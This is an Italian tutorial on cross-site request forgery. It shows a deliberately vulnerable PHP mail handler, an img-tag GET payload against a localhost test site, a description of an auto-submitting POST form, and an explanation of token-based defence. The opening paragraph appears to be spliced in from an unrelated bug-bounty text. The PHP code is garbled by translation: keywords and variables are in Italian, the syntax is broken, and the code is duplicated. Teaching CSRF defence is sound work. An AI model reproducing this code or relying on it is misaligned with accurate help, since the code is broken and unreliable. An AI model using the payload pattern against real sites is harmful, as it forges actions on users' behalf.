RisultatiGli attacchi CSRF rappresentano un altro vettore di attacco pericoloso e possono essere eseguiti con poca o nessuna azione attiva da parte della vittima. Trovare le vulnerabilità CSRF richiede un po’ di ingegno e, ancora una volta, la volontà di testare tutto.
Di norma, i moduli sono protetti per impostazione predefinita da framework come Rails se il sito effettua una richiesta POST, ma le API possono
essere una storia a parte. Ad esempio, Shopify è scritto principalmente sul framework Ruby on Rails, che fornisce protezione CSRF per tutti i moduli per impostazione predefinita (anche se può essere disabilitata). Ovviamente però questo non è necessariamente il caso delle API create utilizzando questo framework. Infine, presta attenzione alle chiamate che modificano i dati sul server (come un'azione di eliminazione) e vengono effettuate utilizzando una richiesta GET.
Dall'autore: il motivo della scrittura questa lezioneè stato provocato da una domanda sul nostro forum che suonava così: come proteggere un sito web dagli attacchi CSRF? Naturalmente abbiamo risposto immediatamente a questo argomento e abbiamo fornito un piccolo algoritmo per implementare il meccanismo di protezione. Ma poiché molto probabilmente non tutti i nostri lettori leggono il forum, ho deciso di registrare una lezione separata sulla questione di cui sopra.
Vorrei subito notare che il video attuale non fornirà una versione completa soluzione già pronta, che può essere incorporato nel sito richiesto. Perché ognuno di voi ha o avrà un sito web con una struttura logica unica, cioè completamente diversa dagli altri, il che significa che è impossibile creare uno script di sicurezza già pronto, rispettando assolutamente tutte le possibili opzioni di implementazione.
E questo non è necessario, poiché l'essenza del meccanismo di protezione è abbastanza semplice, e quindi nel video attuale, usando l'esempio di un sito di prova, vedrai come proteggerti dal tipo di attacco di cui sopra, e poi, in base alle conoscenze acquisite, eseguirai passaggi simili sul tuo progetto. Quindi iniziamo.
CSRF è un acronimo formato dalle parole inglesi Cross-Site Request Forgery, che significa falsificazione di richieste cross-site. Questo termine è stato introdotto molto tempo fa da Peter Watkins nel 2001, ma già nel 1988 si cominciò a parlare di possibili attacchi di questo tipo. Tieni presente che è già trascorso un periodo di tempo sufficiente, ma la maggior parte dei siti Internet è ancora soggetta a questo attacco. Sorge immediatamente la domanda: perché è così? E la risposta è abbastanza semplice ed è che la vulnerabilità agli attacchi CSRF non è un bug nel codice dell'applicazione, ma una conseguenza di lavoro regolare browser e server web.
L'essenza dell'attacco è che un utente malintenzionato può eseguire varie azioni su un sito Web non protetto per conto di un altro utente registrato (autorizzato). In altre parole questo tipo L'attacco implica che l'utente visiti il sito web dell'aggressore, il che a sua volta porta al fatto che, senza che lui se ne accorga, alcune azioni predefinite vengono eseguite su un altro sito web o servizio su cui l'utente si trova questo momento autorizzato.
In questo caso, di norma, gli obiettivi degli attacchi CSRF sono diverse applicazioni Web interattive che eseguono azioni specifiche, ad esempio servizi per l'invio di e-mail, vari forum, sistemi di pagamento, ecc. Cioè, un hacker può eseguire alcune azioni per conto di altri utenti: inviare messaggi, aggiungere nuovi account, eseguire transazioni finanziarie, ecc.
Consideriamo ora l'effetto di questo attacco sull'esempio di un sito di prova.
Diciamo che esiste un sito Web il cui compito è inviare e-mail all'indirizzo specificato per conto di un utente autorizzato. Cioè, su pagina iniziale vediamo un modulo per l'invio di un messaggio. Inoltre, esiste anche un meccanismo per l'invio di messaggi durante la trasmissione determinati parametri Attraverso Richiesta OTTIENI(solo per esempio). La pagina di accesso è simile alla seguente:
Questa pagina abbastanza ordinario, ma ciò che attira la tua attenzione è la casella di controllo "Membro", che viene utilizzata per salvare i dati di autorizzazione nei cookie del browser. In realtà questo meccanismo molto comodo per gli utenti, poiché semplifica gli accessi ripetuti alla pagina, ma altamente indesiderabile dal punto di vista della sicurezza. Tuttavia, per il bene dei visitatori, spesso è necessario fare alcune concessioni.
Il codice per inviare messaggi utilizzando due metodi (GET e POST) è simile al seguente:
//Invio di un messaggio if($this->isGet() && !empty($_GET["email"])) ( $body = "Ciao, questo è il modulo del messaggio - ".$this->user["name"] ; $body .= " Contenuto - da GET - ".$_GET["contenuto"].." Da - ".$_GET["email"]; mail(" [e-mail protetta]","Nuovo messaggio",$body); ) if($this->isPost()) ( $body = "Ciao, questo è il modulo del messaggio - ".$this->utente["nome"]; $body .= " Contenuto - FROM POST - ".$_POST["content"]. "Da - ".$_POST["email"]; mail(" [e-mail protetta]","Nuovo messaggio",$body); )
//Invia messaggio if ($ this -> isGet () && ! vuoto ( $ _GET [ "email" ] ) ) ( $corpo = . $ questo -> utente ["nome"]; $corpo. = "Contenuto - da GET - " . $_GET["contenuto"]. "Da - " . $_RICEVI["e-mail"]; if ($questo -> isPost()) ( $body = "Ciao, questo è il modulo del messaggio - ". $ questo -> utente ["nome"]; $corpo. = "Contenuto - DAL POST - " . $_POST["contenuto"]. "Da - " . $_POST["e-mail"]; posta(" [e-mail protetta]", "Nuovo messaggio", $body); |
Ora diamo un'occhiata a un altro sito: il sito di un hacker.
Su cui può inserire un codice abbastanza semplice ma molto efficace nel caso sia necessario effettuare un attacco su una richiesta GET:
< img src = "http://localhost/csrf/in[e-mail protetta]&content=Ciao mondo" > |
Cioè, in sostanza, vediamo un tag img, il cui attributo src contiene il percorso del sito destinato ad essere attaccato, con una serie di parametri necessari per eseguire un'azione specifica. Nel nostro caso si tratta dell'invio di un messaggio, il che significa che ora l'aggressore deve solo attirare l'utente sul sito corrente e, a sua insaputa, verrà effettuata una richiesta al sito di interesse, poiché il browser tenterà di caricare l'immagine, il cui percorso è specificato nell'attributo src. Allo stesso tempo ricordiamo che i cookie del browser memorizzano i dati di autorizzazione e, ovviamente, l'applicazione li utilizza immediatamente e, di conseguenza, la richiesta di cui sopra verrà elaborata con successo dal server. Ciò significa che un messaggio verrà inviato per conto dell'utente.
Se osserviamo l'insieme di intestazioni inviate insieme alla richiesta, possiamo effettivamente vedere i cookie con i dati di accesso account, il che ovviamente significa - come accennato in precedenza - che la richiesta verrà percepita come proveniente da un utente autenticato.
La situazione è esattamente la stessa con l'invio di una richiesta tramite il metodo POST, solo che in questo caso l'aggressore creerà un modulo sul suo sito web che verrà inviato automaticamente tramite JavaScript non appena il visitatore accede a questo sito.
Pertanto, è imperativo proteggersi da attacchi di questo tipo e soprattutto metodo efficace la protezione è l'uso di gettoni speciali.
Un token di sicurezza è una stringa generata casualmente per un utente specifico e trasmessa in ogni richiesta che comporta la modifica dei dati. Inoltre, il token viene salvato anche nella sessione. Pertanto, l'essenza della protezione si riduce a un semplice controllo della corrispondenza tra il token trasmesso nella richiesta e il token archiviato nella sessione. Se entrambi i token sono identici, la richiesta è stata inviata da un utente autorizzato. Se i token non corrispondono o non è presente alcun token nella richiesta, allora possiamo giudicare con grande sicurezza che è in corso un attacco, il che significa che non è possibile eseguire alcuna azione.
Tieni presente che assolutamente tutte le richieste volte a modificare o eseguire determinate azioni devono essere protette.
In realtà, a questo punto, la parte testuale della lezione è completata e continueremo a parlare dell'argomento indicato nella versione video. Allo stesso tempo, considereremo i metodi per generare token e implementeremo praticamente l'algoritmo di protezione sopra descritto. Ora diciamo addio. Buona codifica!!!
